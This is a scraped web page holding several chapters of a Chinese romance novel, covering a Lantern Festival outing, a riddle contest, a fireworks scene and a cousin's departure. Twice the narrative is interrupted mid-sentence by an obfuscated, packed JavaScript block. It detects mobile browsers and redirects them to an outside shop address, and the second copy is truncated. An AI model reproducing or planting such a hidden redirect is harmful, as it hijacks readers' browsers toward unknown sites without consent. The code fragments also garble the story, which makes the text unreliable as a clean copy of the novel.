她转向花澈,“你能有什么要紧事,什么瞎七瞎八的胡闹偏要今天,换个时候不行?今天带着几个妹妹出去玩。” “好,没问题。”花澈半点不为难地答应,“我推了别人,专陪妹妹。” 老太太这才脸色和缓下来:“今日人多,你可把她们看顾妥帖了。” “祖母放心,姑娘们出大门时怎样,回家时还是怎样。” 瑷宁又说:“三弟虽然妥当,今天到底不比平时,一人顾着六个,太劳神了。人多了容易走散,谁也玩不好,分开两拨吧,大爷刚好也去走走。” 花沛还不及开口,老太太便向他道:“也好。你就带着几位表妹,瑛儿瑶儿肯定不愿意跟着你。” 瑷宁笑道:“老太太安排得很妥。不过由妹妹、屏妹妹她们和二妹三妹分不开,还是随着三弟这拨好些。” 花沛说:“五弟六弟早就盼着看灯,我带他两个去吧。姑娘们又不乱跑,三弟在跟前就够了。” 瑷宁口边半噙着笑,看了花沛一眼。 映雪则向花潜使个眼色,花潜便请缨:“还是我也去,我带着五弟六弟吧。” “行了,听我布置,谁也不许再说话。澈儿你带着两个曲丫头和瑶儿。小五小六跟着你们大哥。”老太太一锤定音,又对花潜道,“你带着你二妹妹还有郭丫头、戚丫头,你媳妇留在家,和你大嫂两个陪我。” 众人再无意见,老太太又细细嘱咐一番,不过是要小心着些,别玩得太晚等话,大家答应了便各自散去。 酉时过半,花澈遣人来请几位姑娘。银荷要小朝她们每人带了几串钱,跟着织雨等大丫环出门玩耍,宝屏的丫环丁香也一同去了,蝉影却不放心,要伴着花瑶。四人做好准备,上了马车。 虽然起初嘴里说着不想出门,但真到了外面,车水马龙,人声鼎沸,她们又都兴奋起来,一路唧唧呱呱个不停。 行了段时间,花澈在外头敲敲车窗:“人太多了,车子走不动,你们还是下来走吧。” 几人早就坐得不耐烦了,迫不及待跳下车。花澈递过几张面具:“委屈你们挡挡脸,我可不想大过节的和人打架。” 面具都是精致的美人面,银荷觉得挺好玩,和宝屏互相系上。花瑶看那人像妖冶,本不大喜欢,又怕哥哥不高兴,便也戴好。大家嘻嘻哈哈取笑一番,朝前走去。 天还没有黑得很沉,街道上已是灯光如昼,道路两边叫那舞龙舞狮的、杂耍卖艺的、占卜百戏的全都占满了,行人们只在路中间慢慢走着。 几位姑娘手挽手,一路左看右看。街上则有很多人一个劲儿瞧着她们的华贵衣饰,又见后面跟着个风流无匹的公子哥儿,不免更加好奇;但若有泼皮无聊之人想趁乱挨近一点点,便会不知从何处冒出几位汉子,不着痕迹将他们拦住挤开去。 姑娘们看得欢喜,哪里注意到这些,她们恨不得个头能再高点儿,能再多长几只眼睛,那就真是惬意无比了。 花澈安安静静跟在后头,姑娘们站住他也站住,姑娘们拍手他便给赏钱,姑娘们买了东西他伸手提过来。若不是他那么俊的相貌,那么潇洒的服饰,谁见了也得说他是个再称职不过的长随。 宝屏暗自纳罕三表哥原来这么和气,以前怎么竟会怕他。连花瑶一时忘形,也“三哥”长“三哥”短来回唤着。 几人此时走到一个杂耍圈子前,场中高高竖了几根杆子,中间绷着绳索,一位姑娘准备表演绳技。 那姑娘十八、九岁,不高不低的个头,一身红衣红裤,一条深红绸带紧扎出一道细腰,一根红头绳绑一股粗黑辫子斜垂在胸前。向周围一圈看客施礼后,她便站得直直的,唇边微露出一点笑涡。她长得并不多美,要和千金小姐们相比难免显得粗枝大叶,但她双目黑亮有神,有股子倔强大方劲儿,银荷一见之下便很喜欢。 花澈凑到她耳边,悄声说:“我看这位红姑娘和你有点像。” 银荷几乎立即就把这句话视作赞美,说起“红”,她的脸倒是一下子红了。但也来不及细想——锣鼓声动,红姑娘踏着鼓点助跳几步,翩然一跃就稳稳踏上了绳索。 下面的人还没看清她是如何上去,就见她已在绳间灵活地行走、跳跃。别说是根比手指粗不了多少的软绳,一般人就是在平地上也难做到如此敏捷自如。 这时有人在下面扔出一把大刀,红姑娘腰身轻轻向后一弯,手臂一低,接了明晃晃的钢刀,又挺立身子,提刀舞了起来。一时间红云飞舞,刀光似流星四下划落。 旁观的人都瞧出这姑娘是实打实的真功夫,不似有些杂耍艺人,只会搞些幌子噱头。每到惊险处大家便齐声叫好。银荷不错眼地看着,心都提到了嗓子眼,连赞叹的功夫都没有。 舞完一套刀法,红姑娘扔下钢刀,在绳上又是一通旋转腾挪。众人喝彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998017|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声愈发响亮,她在绳上立直身子,朝下面的人翩然一笑,向上一跃,旋转着就要跳下地来。或许这动作是新学的还未练熟,得意之下便急着使了出来,终究还是差了几分毫,她下落时在绳上挂了一下,失了平衡,身子一歪向地上坠去。 银荷的惊呼声还未落下,旁边窜出一人来接住了她,两人因下坠之力一齐跌到地上,但并未受伤,因他们马上又站了起来。 接她之人是个浓眉大眼的小伙,样子粗野中也带几分英俊,望着姑娘一脸关切,伸手要去扶她。红姑娘斜他一眼,使劲将他手打开,扭身走到一边去喝水。 看见有惊无险,银荷舒了一口气,不自禁扭头冲花澈一笑,笑过方想起自己戴着面具,他哪能看得出来。谁料花澈分明看见了,笑意几乎是自眼中飞溅出来,坦白明确。 银荷不知花澈到底有多少幅笑容,而此时这个半点儿不掺假。这一笑好像驱散了双方先前所有的芥蒂,不仅如此,还似一个保证、一次邀约——如果两人能这样对视而笑,那么在世上再无不可交谈之事。 银荷急急转过身去,若无其事地又向前走,等着心儿慢慢平静下来。她感到有一点儿羞愧,又有一点儿困惑,却没察觉其实还有一丝丝的喜悦。 几人走走停停,来到了城中最宽阔繁华的大街。 这里是专布置出的赏灯场地,路两旁挂满了大大小小各式各样的花灯,均为巧匠制作。观灯的以妇人居多,一路环佩叮当,香风阵阵。又有不少人偷偷拿眼去瞧花澈。 花澈是一点儿都无所谓,谁看他,他便毫无顾忌地回看谁。人家的眼神是拐弯抹角,他的目光可是直来直去;不光看,有时他还冲人咧咧嘴角,点两下头,也不管是不是认识对方,这一来,害不少大姑娘小媳妇羞红了脸蛋。 走过一段,花澈终于不耐烦起来,停步说道:“你们自个儿逛逛吧,总不至于能让人拐了走。我在这里等着,你们看完了就回到这儿来。有事不用怕,和人吵架没关系,砸了灯更不要紧,只别离了这条街就行。”几人连声答应了,他便闪身进了路边一茶肆。 姑娘们边走边到处看着,漫步了一会儿,花瑶突然一颤,立住不动了。 蝉影瞅了一眼,悄悄对花瑶说:“姑娘,你瞧那边是不是卫公子?” 花瑶脱下面具,兜上风帽,深藏了脸,说道:“和我有什么相干?”但终归忍不住,又向蝉影指的方向望去。 卫维扬独自站在路旁,心不在焉地看着街上的人潮。在一片喧嚣熙攘中,他那清隽之姿益显得飘然出尘,几乎教人不敢直视。 然而一定还有不少姑娘在暗暗看他,可他全没注意。周围这般热闹,而他是如此寂寥,花瑶只觉心里一抽一抽地疼。 她扭头去看灯下的表姐,她的身影可真美啊。花瑶的心头重又涌起这些天她时时感到的痛苦,好像一把钝刀在她胸口剜着。 突然,一道奇异的光闪过她的眼睛,她的脸色豁然开朗了。她在蝉影耳边吩咐了几句。 蝉影听了着急地看看她,又看看银荷,不解道:“姑娘这是为何?” “你不用管,按我说的做,快!”花瑶使劲推她一把,蝉影这才不情不愿地走开。 26. 猜谜 银荷默默看了一会儿灯,一回头,花瑶和宝屏竟都不见了影子。原地张望了半日,银荷便走到路边人少的地方站住,怕跑远了,她们回来又找她不着。 等了一会儿,她着急起来,正预备往前面再走走,身后一个略迟疑的声音问道:“曲姑娘,是你吗?” 银荷猛地转过身:“卫公子——你也来了。” “果真是你。”卫维扬笑起来,“刚刚见到了姑娘的表妹,说你们走散了,让我帮忙留意戴面具的人。” “我还正找她们呢,在哪儿?” “刚才还在那边。”卫维扬回头看看,“别急,应该没走远,我们去找找。” 两人找了一会儿,一无所获。银荷抱歉道:“劳烦卫公子了,你的同伴该等急了吧。” “我是和家兄家嫂一起来的,他们领着家妹家侄,早不知去哪里了。我没关系,还是先找到你表妹她们要紧。” 这时蝉影从人群中钻出来,跑上前说:“三姑娘不太舒服,先回家了。” “啊,怎么了?那快走吧。”银荷转身要向卫维扬道别。 “不用了,没什么大事,屏姑娘陪着她。三姑娘要我来说一声,表姑娘务必别着急,看完灯再回去。”不待银荷回答,蝉影一转身,消失在人群之后。 话还没说清呢,蝉影先急着跑了,银荷想追她,卫维扬劝说道:“花三姑娘既如此说,又有人陪伴,姑娘莫如依她,免得她心不安。刚才我看见花二公子往前面走了,等着姑娘看完灯,与他们碰了面,正好一道回去。” 银荷心想,花瑶宝屏说不定返回已有好一段时候,再揣摩蝉影的意思,大概她们已找到花澈,立即就回家,自己赶去,恐怕也扑个空,倒真不如先看了灯再说。 但她还有些踌躇。前几天花沛说了那些话,当时虽生气反驳,到底听进去了。又想:要是迎头撞上花沛,岂不是难堪得很,不由便问:“卫公子看到我大表哥没有?” “没有。他大概已经见到你表妹——你们不是与你大表兄一起来的?” “是与我的三表哥一起来的。” 卫维扬没说什么。银荷想,卫公子与花涛交好,提起花沛、花潜似乎也颇有交情,可一听花澈,却是在心里摇头的模样,肯定是花澈“臭名”在外,让人实在赞不出话来。 因想,花澈那样不规矩的人,整日尚且昂然自得,自己和卫公子胸襟坦荡,更没什么可顾虑的。银荷本来不爱瞻前顾后,这么一想,便向卫维扬笑道:“那就劳卫公子陪我走一段。” 卫维扬原有点自悔鲁莽,恐怕令她作难,见她这样豪爽,钦佩、欣喜之余又有一丝惭愧,急忙把心头刚刚私自生出的一点别扭丢开。“走吧。”他说。 当下,两人边走路,边赏灯,边交谈。银荷遮着脸,但行人都猜想这位姑娘定然是顶顶得意,卫维扬则脸上始终挂着笑。路过的人向他们注目,两人谁都没留心。 银荷确实从未见过这样的热闹,忍不住伸手向灯前指指点点;一路走来,卫维扬说不出见过了哪些灯,只记得被烛火映成红红的、透明的、纤细的一只手,指上套着细细一只拧麻花的银戒指。 两人走着,到了路口敞阔处,便见这里挂着数十盏小灯,灯下拴着谜语条子,许多人围在下面仰着头看。 银荷虽喜猜谜,却不愿向人群中去挤,只在旁边听别人议论。原来是方才宫中送出了这九九八十一道新制灯谜,第一个全解对的人可获琉璃宫灯一只,是以好多人在那儿冥思苦想。 银荷听了,便向卫维扬小声道:“这做皇帝的好生小器,才备一份礼,还得解对全部谜语才肯送,分明是想把东西原样收回去。” 卫维扬笑说:“这灯会多一半是太子办的,他最尚俭恶奢。如今又少了两样税赋,所以今年连烟花都取了。这个可不能让他再拿回去。曲姑娘若喜欢,我就去试试。” 银荷笑道:“瞧我灯下黑,忘了能解的人在这儿。” 卫维扬走去,向那挂着的灯谜只略扫两眼,又转身回来,给银荷找了块地方:“劳累姑娘待着别动,稍稍等我一下。” 说罢,他走到一边,对一位小黄门说了几句话。那小太监看他一眼,满面笑容将他领到旁边一家客店中。 银荷在原地来回走着,总感觉有道不知哪里来的目光落在她身上。她向四面看去,人群是红红绿绿一片,其中,有个娴静淡雅的身影格外引人注意,定睛一瞧,却是戚晚。 银荷对戚晚的打扮不由暗暗赞叹:她穿条靛青的裥色裙,披着黛色短斗篷,本是寻常装束,但在今夜却别出心裁——衣裙一层一层渐融入黑暗,正好映衬出戚晚粉白柔美的面容。那是张瞧上去很舒服,让人觉得一眼不够,还想再看一眼的脸。偏巧她喜欢低头,更具楚楚可怜之感。此时她就是站在人群之外,微微低了头。 莫非她是走散落了单?银荷又向一旁细细搜寻,却没找到花潜花瑛等人。 正想过去招呼,恰这时卫维扬走过来,望向银荷一笑。 从他离去也不过一盏茶时间,银荷便听到那太监走到人群前,大声宣布谜语已被卫公子全部解出。周围顿时一片人语响。卫公子解对谜题倒不是什么稀奇事,但他拿了奖品,竟走到一位戴着面具的小姐面前,人们不由都瞪大了眼睛。 不知今晚又有多少姑娘要芳心暗碎,众人心中各怀感想,把那幸运的面具小姐瞅了几眼,一哄而散。 有那么一小会儿,银荷成了众矢之的,心里一阵不自在,只装作若无其事的样子,再四面去找花瑛等人,却连戚晚都不见了。 “方才我看到戚姑娘一个人站在那边,是我二伯母的外甥女,卫公子认不认得?”她问。 卫维扬略想了一想:“我应该见过戚姑娘一二面。今天她是与你二表兄一道来的?前面遇上时,我没大留意。” 其实卫维扬留意了,当时他想:花家人多,倒很热闹,只是怎不见那位曲由心姑娘?这时候,他不禁有些脸热心跳,赶快转开头帮着找人。 无论是不是用了全副心思,反正再没瞧见任何一个熟悉面孔。银荷说:“算了,咱们走吧。我瞧戚姑娘刚才并不着急,说不定知道他们在哪里等着她,这时已经会面了。” 卫维扬便说:“我瞧人都往那边去了,我们也过去,恐怕你二表兄就在前面。若实在找不到,我送姑娘回去。” 银荷却隐隐有个想法:虽然花澈与花瑶她们先走了,但他一定还会返回,在他说好的那个地方等她。 她脚底下不自觉地往来路走,又问卫维扬:“卫公子刚才是如何猜的谜?只看那么几眼,便是谜底明写在上面,又哪里记得住?” 卫维扬笑答:“其实那几眼什么都没看见,我是作了个弊:我晓得屋子里面还有一份记好的谜面,在里面当场看当场猜的。” “那也很了不得,怎么一下子就全部猜中了!” “没有什么,姑娘一定也可以,不信试试,——容我想一下。”卫维扬思索片时,连念出三条来。 银荷在心里微一琢磨,猜出两条,又自语道:“拿走——打诗经一句。这可难了,能是什么呢?——啊,我知道了,莫非是携手同行?” “正是。”卫维扬笑吟吟望着她。 银荷的心儿似被风吹过的湖面,泛起阵阵涟漪,忙说:“这怎么不是你更厉害?光这三条我就想破了脑袋,还是侥幸,再多绝不能了。” “那可不一样,这三条可抵其它三百条。”卫维扬笑道,“我猜的那些是宫里传出来的,必是上头那位先猜,要是谜面太难,岂非不妙。而姑娘的题目却是我出的,本就是存心刁难姑娘一下,反正猜不中,你也不会砍我脑袋。谁料姑娘冰雪聪明,竟没被我难住。” 听到他的夸赞,银荷不禁美滋滋的。可是“携手同行”几个字,以及他眼中的笑意,又令她慌乱。 忙又笑说:“‘走’,可不是同‘行’么。卫公子这个谜,先是想不到,想到了又觉得浅近直白,可再一细想,这个‘同’字生出来得极自然有趣,又贴切,也真只有卫公子。若论起来,作谜可比猜谜难,猜谜不过按图索骥,作谜却要不拘一格。像卫公子这三则,别人可作不来。好就好在既不会让人一下子打中,又不会让人一直想不出,是要让猜谜人转个脑筋,然后恍然大悟,自以为聪明——殊不知,他这聪明早被作谜人料中了。与其夸我聪明,不如说卫公子是变着法儿夸自己罢。” “姑娘也别太戳破了我。”卫维扬笑了一阵,从手里的匣子中取出一盏灯,又从道旁卖灯人处借了灯油点上,递给银荷,“猜对的奖励。这个灯小巧,正适合你们女孩子用。” 那灯儿仅石榴大小,通体琉璃制成,烛光在里面闪烁着,映出来却加倍亮堂,煞是可爱夺目。银荷忙摆手:“卫公子回去送给令妹吧。” “她想要,明年自己来猜谜,这个就是为给你的,姑娘不用再推辞。” 银荷只好接了,心里怪难为情,嘴上只管找话说:“奉行节俭本是好事,但也未免太过了。像这样的灯,应该都是成对儿,卫公子就好拿另一只回家——”话一出口,被自己听见,简直不像样,急忙补上,“——给妹妹了。”便闭了口。 好在卫维扬并不觉得有不对,提起妹妹年龄尚小,只知顽耍等话,这银荷又有的说了,便自然地谈说下去。 这时夜深,观灯的人都在散去,有时遇到路上人多,两人在一旁少停片刻。卫维扬看银荷伫立的身影,却好似熙攘的人群是静止不动的背景,只有她在悠然穿行。月亮有时也如这般在云间游弋,可月儿还得从云朵中露出半张皎洁的脸来,而她达到同样的效果,甚至连面具都无需摘下。——也并不希望摘下,这样彷佛留有一个盼头,等下回见面,就可以瞧见她原本的样子。 下回是何时呢?卫维扬想着,几乎没发觉游人愈来愈少,街道渐渐变得安静,他们又在向前走了。 沉默了一小会儿,卫维扬开口道:“你还没有见过你那位三伯父吧,他是我的恩师。他常向我说,令尊是他非常好的朋友。” 银荷不由想:曲老爷可算我的老师,花家三老爷又是卫公子的老师,两位老爷还是少年时,必定高山流水,惺惺相惜,难怪我见了卫公子,便有旧日相识之感。 可她一下子又想到由心,由心才是该与卫公子结识的人。心中一阵悲恸,银荷说不出一个字来。 卫维扬立即察觉了,以为她是怀念父母亲人,很后悔说了这话,便接着道:“前日老师有信给我,说起每近上元,总有颇多感触,我想,老师远在异乡,逢到佳节,必然如此,但我往下读信,老师的意思却是,不拘相隔万里还是……” 银荷抢先说:“我明白,有朝一日,终会相遇。” 终会相遇。卫维扬在心里翻来覆去想着,忽地抬头向旁边一望,停下说:“你表哥在那边。” 银荷听见“表哥”二字,莫名紧张,但转头一看,花澈在街对面一盏灯下站着,丝毫没有着急不耐的样子。见他们二人望过去,他大步走来,满面春风,先向卫维扬致敬,道:“多承维扬兄关照我的表妹,弟感激不尽。天晚不敢深扰,来日再登贵府上拜谢。” 卫维扬也拱揖还礼:“岂敢,实是维扬之幸,不当领受。” 两人客气一番后,花澈转向银荷:“妹妹尽兴没有,现在可要回家?” 银荷轻轻点头:“劳烦三表哥等我,回去吧。”又微微躬身向卫维扬行了一礼,没再说话,跟着花澈走了。 走了几步,花澈问:“妹妹累不累,要不要我把马牵过来?” 银荷摇头,又问花瑶,花澈只说没事,便带她拐上旁边一条街道,又拿过她手上的灯,随口称赞几句,替她提着。 银荷看他心情甚好,也不以为和卫维扬独处值当大惊小怪,放下心来。 这是一个无风多云的温柔夜晚,这样走着,不冷,也不乏累,银荷仿佛乘舟漂在小河上,懒洋洋的,只觉舒适。 可是,不知走了多久,她终于注意到有些不大对了:夜色已然深浓,除了这一盏小灯,四下里都是黑魆魆的,又黑又静,静得出奇,原本轻微的脚步声都似被放大了很多。 “这是哪里,马车呢?”银荷忍不住问。 “别急,这不就到了。”花澈说着,又转入一条小巷,马车正停在巷口。拉车的马一动不动站着,赶车的人一动不动坐着,而花澈的那匹骊马在一旁,更是几乎隐身在黑夜中,只听马蹄轻而脆地在地上敲。直到提灯走近,银荷才看见马儿的大眼温驯地瞧过来。 花澈却不上马,径直走向车后,银荷以为他要扶自己上车,不肯过去,要等他先让开。花澈手指一弹,把灯弹灭了,便丢进车中,顿时一片漆黑。 银荷的手被拉住,急得她叫道:“这是干什么?” “嘘,妹妹小声些,让人家听到,还当我是个歹人,等会儿拿着菜刀、棍子过来了。” “莫非冤枉你了?” “我是何样人妹妹还不知?我带妹妹去个地方,就在上面。”花澈仍是自管拉着她,“我等妹妹那么久,妹妹能对我有一半耐心也好哇。” “你放开,我自己能走。” “那好。妹妹小心脚下。” 这巷子其实是一条长而陡的坡道,隔几步便有几层台阶,实在并不好走。天很黑,只够勉强看清一步远的距离。 银荷不肯再向前,停住问:“这里怎么没人,我们去哪儿?” “别人同我们一样,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在这时,听见一声响,银荷望去。一颗银星摇摇地升上天空,飞遁在夜幕中,下一瞬,自它消失的地方,就像满抓一把笔,蘸饱了颜料往那墨纸上一挥——哗地迸出千百道流光。虽然不一时也就散尽了,但那光彩还久久留于眼前。刹那芳华,无怨无悔。 银荷不可思议地看着。 “妹妹看过烟花吗?” “没有。” “正好,我也没有好好看过。” “这是谁人放的?”好一会儿,银荷才想起来问。 “管他是谁,咱们就看着。” 两人静静看了许久。烟花一树一树地绽开,天空时暗时明。那纵横四射的火红流星,就像要洒到人身上似的。 银荷忘情地仰着脸,好久才发觉花澈正对着她看。 “妹妹不怪我了?——其实,本来我倒是可以有工夫。” 银荷讥讽道:“我自然不怪三表哥,倒是三表哥该怪我,耽误了你与人共度佳期。” “不怪,妹妹不是百倍地补偿我了?” 银荷立刻把身子往旁边闪了闪,警惕地看着花澈。 花澈笑笑:“这也是肺腑之言。今夜没有星星,没有月亮,本来算不得佳期,可是有妹妹啊。” 银荷扭头又看天上,像是缝了口,一声不吭。 花澈说:“不费妹妹的事,却能帮我省下好大的工夫,妹妹愿不愿意?” 银荷不解意思,总归花澈也没个正经话,她只问:“三表哥想要我做什么?——我什么都不会,未必帮得了你。” 花澈却不说,朝银荷望了一会儿,轻轻笑一声,摇摇头:“向妹妹提要求,这我怎么开得了口。” 银荷便不理他。 隔了一会儿,花澈又说:“还是说点儿热热火火的话才有意思。别辜负了时节,咱们赌个彩头吧。” “不赌。” 银荷话音未落,花澈接道:“不赌玩意。咱们来个更有趣的——猜猜对方这会儿心中想什么。你猜对了我便答应你一件事,我猜对了也一样,如何?” “别人心里的事,如何猜得出?”银荷笑道。 “难,才有趣啊。” 银荷怀疑地看看花澈:“你要我答应你什么?” “你怎知我一定赢。”花澈笑起来,“妹妹世间无二的玲珑心肠,我怕猜不出。倒是妹妹可以先拣个要求。” 银荷不知他要搞什么鬼,想了片刻说:“我猜对了你不承认又如何?” “保证公道。首先,万一叫我猜着了,妹妹不会不认,我一万个相信。至于我,我从来不说假话。” 谁说的,又假又坏!银荷心想,只不讲出来,怕又被他抓住话头。 “苍天在上,我对妹妹倘有欺瞒之意,要我——妹妹想要我发个什么誓?” 要你生疮长疖,银荷心恨道。 “用不着你在这儿指天指地,我不和你赌。” “妹妹戒备心也太重了,怕我猜中你的心思?那我还非得猜上一猜。” 说着,花澈目光直射过来,对着银荷眼睛。黑暗中,他那双目有如寒星一般,银荷不由乱了神,待要别开脸,又不甘示弱,便抬起眼,直直对着他。 只听花澈道:“我猜,妹妹正在想——”他停住片刻,接着,很有把握地说,“妹妹准是在给我织罗哪样罪名了。如何,对不对?” 要问刚刚那一刻银荷在想什么,连她自己也说不出个一二,但显然不是这个,她不禁暗中松了一口气。 “猜错了!” “是么?”花澈沮丧地摇摇头,“妹妹的潋滟明眸还真是会撒谎呀。” “你就是猜得不对,我没那样想。”银荷怕他不信。 “所以我没料错,妹妹才真是个难猜的谜。”花澈一笑,“我先输给妹妹一半,这下不必顾虑了吧?现在轮到妹妹猜,猜对了你尽可以提要求,哪怕要我站在大街上学几声驴子叫,我都答应。” “不爱听。” “那妹妹爱什么?不论什么刁钻点子——我听凭妹妹驱使一次。” 银荷不答。 “猜吧,此刻,我想什么——”花澈看向她,目光先在她唇上停留了一会儿,才向上,注视她的双眼,“千真万确,你猜我现在最想做什么?” 恰好一连数朵烟花在头顶盛开,光芒映照之下,银荷将他神情瞧得清清楚楚。 脱下面具后,在夜凉之中,脸上亦是凉的,但此时,被花澈一盯一问,即刻间,银荷的双颊一如火烧。 “我猜不出,也不想猜。我现在最想回家。”她生硬地说,猛地从墙上跳下,震得脚底板都疼了。她只管朝坡下走去。 谁的后脑勺也生不出眼睛,可花澈说话时的样子——那轻轻摇着头、半责怪半纵容的笑——宛在银荷眼前。 他说:“回答不老实。” 背面的天空中,一片片烟花仍在兀自绽放。 27. 生辰 万紫园东侧花墙下立了一溜儿大小丫头,个个屏息缄口,低头瞧着地上卵石镶嵌的花纹。银荷进来瞧见,诧异道:“这是要做什么?” 绘云赶快跑上来,摆手悄声说:“姑娘先回吧,老太太这会儿正不痛快。” “怎么了?”银荷忙问。 “是为了三爷。三爷又说要出门去,上一年就是正月里出去,这才回来待了没多久。老太太不肯答应。” 银荷听见,确实意外。元宵节也不过就是三四日前,当时花澈还嬉皮笑脸,半点没显出即将远行的样子。不过,银荷转念又想,这种事,如何会对她透露。 正要走,邀月急急奔出来,在院门口拽住了银荷:“曲姑娘请别走,帮我劝劝老太太。” “我不行,我劝不了。”银荷连声说,“过会儿我还来。要么我去和大嫂说声?” 邀月直摇头:“刚才大爷在这儿,已经被老太太骂走了。姑娘听见缘故了吧,别人都劝不了,怕只有姑娘还可以。我一直等着姑娘呢。”邀月拉住银荷不放,“好姑娘,求求你,赖好进去和她老人家说几句话,生气了半天了。” 银荷好生为难。要是其它还好办,老太太舍不得孙子离家,自己又能说上什么话?但架不住邀月来回央告,只好硬着头皮进屋去。 屋内静悄悄的,邀月抢上前打开里间门帘:“曲姑娘来了。” 银荷看到老太太正坐在平日常坐的圈椅上擦泪,花澈在她面前立着不动。 “由儿过来坐。”老太太话音刚落,邀月就搬过坐墩置于她身侧。银荷犹豫片刻,上前坐了。 老太太伸手揽住银荷,搂在怀里,抚着她肩膀说:“快一年了,长高了些,比刚来时还好看。” 银荷没有抬眼看花澈,但可以感觉到他的目光,浑身都不自在,急忙就说:“三表哥做了什么,为何要在这里罚站?” “他就是专门来气我的。”老太太哼道,对花澈摆摆手,“你也不用做样子。我知道花家太小,放不下你,你要走就走,谁还拦得了?” “是孙儿不对,又让祖母难过了。不过这次确有要事,实非得已。还好有妹妹陪祖母,我也能放心些。我不去太久,三个月内一定回来。” “你能有什么要紧事,怎么不敢说明白?多久回来的哄人话就给我免了罢。” “不是哄祖母,祖母若是不信——反正我不会当着妹妹扯谎,将来惹妹妹笑话。” “行了,你愿意什么时候回来我不管。”老太太这么说着,脸色和缓多了,“再有十来天就是由儿生日了,你不能迟些走,先给妹妹过完生日?” 银荷本打算悄无声息地过了由心生辰,没想到老太太还惦记着。她慌忙摇头:“我的生日没什么好过,又不是整岁数,我以前也不爱过生日,姑祖母别为我费心了,更别耽搁了三表哥的事情。” “是你在这儿第一个生日,总该庆贺一下。就咱们自己,谁都不费心,你好好玩就行。”老太太说着,又看向花澈,“澈儿怎么说?” 花澈低头望着银荷的脸:“若是妹妹的芳辰,自然是该贺的。只是这次我要对不住妹妹了。妹妹不会怪我吧。” 银荷脸红着,站起身说:“当然不怪。三表哥在外平安。” 花澈趋前,靠近银荷,压低声音道:“妹妹也多保重。我常念着妹妹。说不定,我还会为妹妹送一份礼物。” 说完,他向老太太行过礼,转身走出去。 后来银荷得知,当日午后花澈便离开了。不知怎么回事,她心里却是一松。 初时,老太太虽不痛快,但有花澈保证数月内必还家,又有银荷和其他孙儿孙女在跟前凑趣,没两日也就放下了那份心。 这天,花沛夫妇在旁时,老太太笑道:“看我糊涂的,一着急倒把沛儿给骂了。明明是老三自己可厌,反嫌老大对兄弟不关心。沛儿这几日不高兴,可是心里头埋怨我?” 花沛忙否认。 瑷宁也笑道:“祖母这是从哪儿说,祖母肯教训我们,是我们的福气。” “老大身上担子重,你和沛儿就很好了,对弟弟妹妹都上心。” 瑷宁赶紧又说:“那是弟弟妹妹们自己好,我们并没使什么力。——表妹几个也都好,大爷常说,对几位表妹,也是亲妹妹一般看。” “可不,正该如此。由儿过几天生日,你两个看着,怎么给她操办一下。” 瑷宁满口答应。花沛见此情形,只道瑷宁大度,有时嘴上不饶人,心却软,先前那场争论早被她忘怀了。他吁出一口气。 不过,老太太说他不高兴并不假,确实另有件让他不顺心的事:年后去衙门,碰到一位礼部赵郎中,此人素善钻营,专好打听些京都权贵们的家事为己所用,花沛不喜他,只碍于情面搭讪几句,但赵郎中却道:“听说府上不日就会有喜事了?” 花沛诧异,问何有此话。 赵郎中说:“谁人不知上元节卫侍读赢了宫灯,赠给了贵府的小姐。只是戴着面具,不知是府上行几的小姐,可否透露一二,拙荆和舍妹好奇,一直缠着我问呢。” “既戴着面具,怎知是我家的姑娘。”花沛板起面孔,冷冷地说。 “自是有知情人物。你又何必瞒我,卫侍读何等才高气傲之人,既能当众做出此举,这事儿可算是板上钉钉了。卫侍读一表人才,和令妹不正是良配?你这做大哥的再疼妹妹,对这位妹丈也没什么可说的罢。” “真是无稽之谈!”花沛怒道,“我家中的事情我倒不清楚?上元节那日舍妹几人都和我在一起,连卫翰林面都没见过,遑论其它。这等荒诞传闻,还是早日止住为好。若赵郎中打听得谁是那造谣生事之人,还请告知,我倒要找他请教个说法。”说罢他拱手离去,留赵郎中在原地惊愕不已。 等无人时,花沛细想一回,心渐渐沉下去。他对两个妹妹还是有数的,不论是花瑛还是花瑶都不大可能,甚至也不用往郭诗钰和戚晚两人头上想,这事十成十是说的由心表妹。 又是那个卫维扬!自打听见说他和表妹结识,花沛就觉得再没人这么讨厌,哪怕他是三老爷的爱徒,哪怕自己心里知道他才华过人气度不俗——因此才更为可厌。 花沛不知一肚子气该往哪儿撒。当然,怪不得别人,定是三弟吊儿郎当,心里没个轻重,放着自家妹妹们不顾,不知跑到哪里厮混去了。但说他也是白说,他能把什么往心上放,现下人又出了门,自己倒被老太太数落。 花沛唯有苦笑。 . 这时刚开了春,老太太说春寒还未过去,姑娘们还是先别出去玩,于是大家都呆在家里,每日互相串串门。 一日,银荷和瑷宁碰上,因知道映雪最近按大夫嘱咐静养,不得走动,花瑛也害了风寒,便一起去瞧她两个。 先到映雪屋里。映雪披件小袄,头发松松绾着,正在窗边做针线,见二人进来,忙把手上东西放下,就要站起来:“大嫂和由妹妹来了,我这刚起床还没收拾呢。” 瑷宁按住她:“怎么还做活?” “天天躺哪里躺得住,就想着缝几件小衣服,做做歇歇,现在一件还没做好呢。”映雪说着就拿了衣服给她们看,“由妹妹别笑话我,比你的手艺可差远了,也没什么样子。” 银荷细细看了,赞道:“二嫂做得极好,将来宝宝穿了一定又漂亮又舒服。做母亲的一片心,我哪里能比。” “我现在好像还没省过味儿来呢,哪来的做母亲的心,不过是闲着找个事情做。”映雪虽如此说着,脸上却带了将为人母的平静满足。她相貌虽无可特别夸耀的地方,但自有一种难得的温柔和善,在他人身上少见。此时,她唇边漾起微微的笑意,整个人如沐在暖阳中,不光银荷看了对她更多几分亲近,瑷宁也是羡慕不已,心中又有些酸涩。 “不知会是个小子还是丫头?”瑷宁问。 